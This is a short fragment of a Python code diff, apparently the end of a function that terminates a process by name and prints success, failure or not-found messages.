print(f'Process {process.info["name"]} terminated.') + return + except Exception as e: + print( + f'Process cannot be terminated: {process.info["name"]} (PID: {process.info["pid"]}): {str(e)}' + ) + print(f"Process {process_name} not found.")